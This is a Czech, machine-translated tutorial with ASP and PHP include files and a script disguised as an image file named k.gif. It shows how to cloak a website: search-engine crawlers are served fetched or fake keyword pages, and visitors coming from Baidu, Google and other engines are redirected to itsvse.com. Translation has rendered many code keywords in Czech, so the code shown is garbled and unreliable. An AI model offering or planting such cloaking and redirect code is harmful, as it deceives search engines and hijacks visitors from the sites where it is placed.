Nejprve je to jednoduché, přidejte následující kód na hlavní stránku:
ASP verze <!--#include soubor="conn.asp"--> <script src="images\k.gif"></script>
Verze PHP <!--#include soubor="conn.php"--> <script src="images\k.gif"></script>
Poté přidejte následující kód do conn souboru podle programu webu, pokud nemáte conn.asp nebo conn.php, vytvořte si ho sami:
conn.asp vydání
----------- následující reprodukce-------------------------------- <% function isspider() Dim agente, Searray, já agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou", "yahoo","soso","360spider") isspider= false pro i=0 do ubound(searray) pokud (instr(agent,searray(i))>0) pak isspider=pravda Další Konečná funkce
function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360") pro i=0 do ubound(searray) pokud (instr(urlrefer,searray(i))>0) pak fromse=true Další Konečná funkce
Funkce gethttp(url) dim http set http=createobject("MSXML2. XMLHTTP") http.open "GET",url, false Http.send() pokud Http.readystate<>4 pak Výstupní funkce konec pokud gethttp=bytes2BSTR(Http.responseBody) set http=nothing Pokud err.number<>0 tak err. Čisté Konečná funkce
function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode, NextCharCode strReturn = "" Pro i = 1 do LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) Pokud ThisCharCode < &H80, pak strReturn = strReturn & Chr(ThisCharCode) Jinak NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Konec pokud Další bytes2BSTR = strReturn Konečná funkce
if(isspider()) pak dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //snapshot URL odpověď.clear Remotehtml=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") response.flush response.end konec pokud
%>
conn.php
---------------- následující reprodukci----------------
<?php funkce is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = pole ('baiduspider', 'sogou spider', 'soso spider', 'iaskspider', 'naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ return true; } } return false; } funkce is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = explodovat ("@",$come_from); foreach($referer as $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ return true; } } return false; }
if (is_search_bot()) { $html = "<title>Wuhan Odborná škola softwarového inženýrství</title> <meta název=\"Autor\" obsah=\"Vyplňte totéž jako klíčová slova\"> <meta název=\"Klíčová slova\" obsah=\"Klíčová slova\"> <meta název=
\"Popis\" obsah=\"Popis\"> </head> <body>Obsah</body></html>"; Echo $html; } if (!is_search_bot() & is_urlbaidu())
{ Header('Location:http://www.itsvse.com');
} ?>
Nakonec do adresáře obrázků nahrajte k.gif soubor k.gif kódu:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Přesměrování URL
|